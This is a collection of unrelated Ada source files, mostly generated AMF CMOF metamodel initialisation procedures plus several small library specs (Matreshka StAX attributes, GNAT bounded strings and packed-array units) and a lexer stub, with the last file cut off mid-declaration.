procedure Initialize_727 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_727;
--------------------
-- Initialize_728 --
--------------------
procedure Initialize_728 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_728;
--------------------
-- Initialize_729 --
--------------------
procedure Initialize_729 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_729;
--------------------
-- Initialize_730 --
--------------------
procedure Initialize_730 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_730;
--------------------
-- Initialize_731 --
--------------------
procedure Initialize_731 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_731;
--------------------
-- Initialize_732 --
--------------------
procedure Initialize_732 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_732;
--------------------
-- Initialize_733 --
--------------------
procedure Initialize_733 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_733;
--------------------
-- Initialize_734 --
--------------------
procedure Initialize_734 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_734;
--------------------
-- Initialize_735 --
--------------------
procedure Initialize_735 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_735;
--------------------
-- Initialize_736 --
--------------------
procedure Initialize_736 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_736;
--------------------
-- Initialize_737 --
--------------------
procedure Initialize_737 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_737;
--------------------
-- Initialize_738 --
--------------------
procedure Initialize_738 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_738;
--------------------
-- Initialize_739 --
--------------------
procedure Initialize_739 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_739;
--------------------
-- Initialize_740 --
--------------------
procedure Initialize_740 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_740;
--------------------
-- Initialize_741 --
--------------------
procedure Initialize_741 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_741;
--------------------
-- Initialize_742 --
--------------------
procedure Initialize_742 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_742;
--------------------
-- Initialize_743 --
--------------------
procedure Initialize_743 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_743;
--------------------
-- Initialize_744 --
--------------------
procedure Initialize_744 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_744;
--------------------
-- Initialize_745 --
--------------------
procedure Initialize_745 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_745;
--------------------
-- Initialize_746 --
--------------------
procedure Initialize_746 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_746;
--------------------
-- Initialize_747 --
--------------------
procedure Initialize_747 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_747;
--------------------
-- Initialize_748 --
--------------------
procedure Initialize_748 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_748;
--------------------
-- Initialize_749 --
--------------------
procedure Initialize_749 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Operation;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_749;
--------------------
-- Initialize_750 --
--------------------
procedure Initialize_750 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_750;
--------------------
-- Initialize_751 --
--------------------
procedure Initialize_751 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Constraint;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_751;
--------------------
-- Initialize_752 --
--------------------
procedure Initialize_752 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Opaque_Expression;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_752;
--------------------
-- Initialize_753 --
--------------------
procedure Initialize_753 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_753;
--------------------
-- Initialize_754 --
--------------------
procedure Initialize_754 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Parameter;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_754;
--------------------
-- Initialize_755 --
--------------------
procedure Initialize_755 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_755;
--------------------
-- Initialize_756 --
--------------------
procedure Initialize_756 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_756;
--------------------
-- Initialize_757 --
--------------------
procedure Initialize_757 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_757;
--------------------
-- Initialize_758 --
--------------------
procedure Initialize_758 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_758;
--------------------
-- Initialize_759 --
--------------------
procedure Initialize_759 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_759;
--------------------
-- Initialize_760 --
--------------------
procedure Initialize_760 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_760;
--------------------
-- Initialize_761 --
--------------------
procedure Initialize_761 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Enumeration_Literal;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_761;
--------------------
-- Initialize_762 --
--------------------
procedure Initialize_762 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Comment;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_762;
--------------------
-- Initialize_763 --
--------------------
procedure Initialize_763 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_763;
--------------------
-- Initialize_764 --
--------------------
procedure Initialize_764 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_764;
--------------------
-- Initialize_765 --
--------------------
procedure Initialize_765 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_765;
--------------------
-- Initialize_766 --
--------------------
procedure Initialize_766 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_766;
--------------------
-- Initialize_767 --
--------------------
procedure Initialize_767 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_767;
--------------------
-- Initialize_768 --
--------------------
procedure Initialize_768 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_768;
--------------------
-- Initialize_769 --
--------------------
procedure Initialize_769 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_769;
--------------------
-- Initialize_770 --
--------------------
procedure Initialize_770 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_770;
--------------------
-- Initialize_771 --
--------------------
procedure Initialize_771 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_771;
--------------------
-- Initialize_772 --
--------------------
procedure Initialize_772 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_772;
--------------------
-- Initialize_773 --
--------------------
procedure Initialize_773 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_773;
--------------------
-- Initialize_774 --
--------------------
procedure Initialize_774 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_774;
--------------------
-- Initialize_775 --
--------------------
procedure Initialize_775 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_775;
--------------------
-- Initialize_776 --
--------------------
procedure Initialize_776 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_776;
--------------------
-- Initialize_777 --
--------------------
procedure Initialize_777 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_777;
--------------------
-- Initialize_778 --
--------------------
procedure Initialize_778 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_778;
--------------------
-- Initialize_779 --
--------------------
procedure Initialize_779 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_779;
--------------------
-- Initialize_780 --
--------------------
procedure Initialize_780 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_780;
--------------------
-- Initialize_781 --
--------------------
procedure Initialize_781 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_781;
--------------------
-- Initialize_782 --
--------------------
procedure Initialize_782 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_782;
--------------------
-- Initialize_783 --
--------------------
procedure Initialize_783 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_783;
--------------------
-- Initialize_784 --
--------------------
procedure Initialize_784 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_784;
--------------------
-- Initialize_785 --
--------------------
procedure Initialize_785 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_785;
--------------------
-- Initialize_786 --
--------------------
procedure Initialize_786 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_786;
--------------------
-- Initialize_787 --
--------------------
procedure Initialize_787 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_787;
--------------------
-- Initialize_788 --
--------------------
procedure Initialize_788 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_788;
--------------------
-- Initialize_789 --
--------------------
procedure Initialize_789 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_789;
--------------------
-- Initialize_790 --
--------------------
procedure Initialize_790 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_790;
--------------------
-- Initialize_791 --
--------------------
procedure Initialize_791 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_791;
--------------------
-- Initialize_792 --
--------------------
procedure Initialize_792 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_792;
--------------------
-- Initialize_793 --
--------------------
procedure Initialize_793 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_793;
--------------------
-- Initialize_794 --
--------------------
procedure Initialize_794 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_794;
--------------------
-- Initialize_795 --
--------------------
procedure Initialize_795 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_795;
--------------------
-- Initialize_796 --
--------------------
procedure Initialize_796 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_796;
--------------------
-- Initialize_797 --
--------------------
procedure Initialize_797 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_797;
--------------------
-- Initialize_798 --
--------------------
procedure Initialize_798 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_798;
--------------------
-- Initialize_799 --
--------------------
procedure Initialize_799 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Tag;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_799;
--------------------
-- Initialize_800 --
--------------------
procedure Initialize_800 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Tag;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_800;
end AMF.Internals.Tables.CMOF_Metamodel.Objects;
|
mosteo/licensing | Ada | 445 | ads | with Alire.Project; use Alire.Project;
package Licensing_Alr is
Working_Release : constant Release := Set_Root_Project (
"licensing",
V ("0.0.0-alr_working_copy"));
-- An explicit dependency on alr is only needed if you want to compile this file.
-- To do so, include the "alr.gpr" project in your own project file.
-- Once you are satisfied with your own dependencies it can be safely removed.
end Licensing_Alr;
|
reznikmm/matreshka | Ada | 4,578 | ads | ------------------------------------------------------------------------------
-- --
-- Matreshka Project --
-- --
-- XML Processor --
-- --
-- Runtime Library Component --
-- --
------------------------------------------------------------------------------
-- --
-- Copyright © 2010, Vadim Godunko <[email protected]> --
-- All rights reserved. --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions --
-- are met: --
-- --
-- * Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- --
-- * Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in the --
-- documentation and/or other materials provided with the distribution. --
-- --
-- * Neither the name of the Vadim Godunko, IE nor the names of its --
-- contributors may be used to endorse or promote products derived from --
-- this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED --
-- TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR --
-- PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF --
-- LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING --
-- NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS --
-- SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
-- $Revision$ $Date$
------------------------------------------------------------------------------
with League.Strings;
package Matreshka.StAX.Attributes is
pragma Preelaborate;
type StAX_Attribute is tagged private;
function Create
(Qualified_Name : League.Strings.Universal_String;
Value : League.Strings.Universal_String)
return StAX_Attribute;
function Create
(Namespace_URI : League.Strings.Universal_String;
Local_Name : League.Strings.Universal_String;
Value : League.Strings.Universal_String)
return StAX_Attribute;
function Is_Default (Self : StAX_Attribute'Class) return Boolean;
function Local_Name (Self : StAX_Attribute'Class)
return League.Strings.Universal_Slice;
function Namespace_URI (Self : StAX_Attribute'Class)
return League.Strings.Universal_Slice;
function Prefix (Self : StAX_Attribute'Class)
return League.Strings.Universal_Slice;
function Qualified_Name (Self : StAX_Attribute'Class)
return League.Strings.Universal_Slice;
function Value (Self : StAX_Attribute'Class)
return League.Strings.Universal_Slice;
type StAX_Attributes is tagged private;
private
type StAX_Attribute is tagged null record;
type StAX_Attributes is tagged null record;
end Matreshka.StAX.Attributes;
|
zhmu/ananas | Ada | 2,801 | ads | ------------------------------------------------------------------------------
-- --
-- GNAT LIBRARY COMPONENTS --
-- --
-- ADA.STRINGS.BOUNDED.EQUAL_CASE_INSENSITIVE --
-- --
-- S p e c --
-- --
-- Copyright (C) 2011-2022, Free Software Foundation, Inc. --
-- --
-- This specification is derived from the Ada Reference Manual for use with --
-- GNAT. The copyright notice above, and the license provisions that follow --
-- apply solely to the contents of the part following the private keyword. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- This unit was originally developed by Matthew J Heaney. --
------------------------------------------------------------------------------
generic
with package Bounded is
new Ada.Strings.Bounded.Generic_Bounded_Length (<>);
function Ada.Strings.Bounded.Equal_Case_Insensitive
(Left, Right : Bounded.Bounded_String)
return Boolean;
pragma Preelaborate (Ada.Strings.Bounded.Equal_Case_Insensitive);
|
OneWingedShark/Byron | Ada | 618 | adb | Pragma Ada_2012;
Pragma Assertion_Policy( Check );
with
Ada.Containers.Vectors;
Procedure Lexington.Aux.P17(Data : in out Token_Vector_Pkg.Vector) is
-- To Do:
-- (1) For every sequence of Comment,
-- a) IF Sequence length > 2
-- AND Sequence.First & Sequence.Last contain only dashes
-- AND all non-endpoint comments end with --
-- THEN
-- a.1) IF sequence.length = 3 then it is a Comment_Section
-- a.2) OTHERWISE it is a Comment_Info
-- b) OTHERWISE it is a Comment_Block.
Begin
----------
-- STUB --
----------
null;
End Lexington.Aux.P17;
|
zhmu/ananas | Ada | 3,895 | ads | ------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- S Y S T E M . P A C K _ 2 8 --
-- --
-- S p e c --
-- --
-- Copyright (C) 1992-2022, Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- Handling of packed arrays with Component_Size = 28
package System.Pack_28 is
pragma Preelaborate;
Bits : constant := 28;
type Bits_28 is mod 2 ** Bits;
for Bits_28'Size use Bits;
-- In all subprograms below, Rev_SSO is set True if the array has the
-- non-default scalar storage order.
function Get_28
(Arr : System.Address;
N : Natural;
Rev_SSO : Boolean) return Bits_28 with Inline;
-- Arr is the address of the packed array, N is the zero-based
-- subscript. This element is extracted and returned.
procedure Set_28
(Arr : System.Address;
N : Natural;
E : Bits_28;
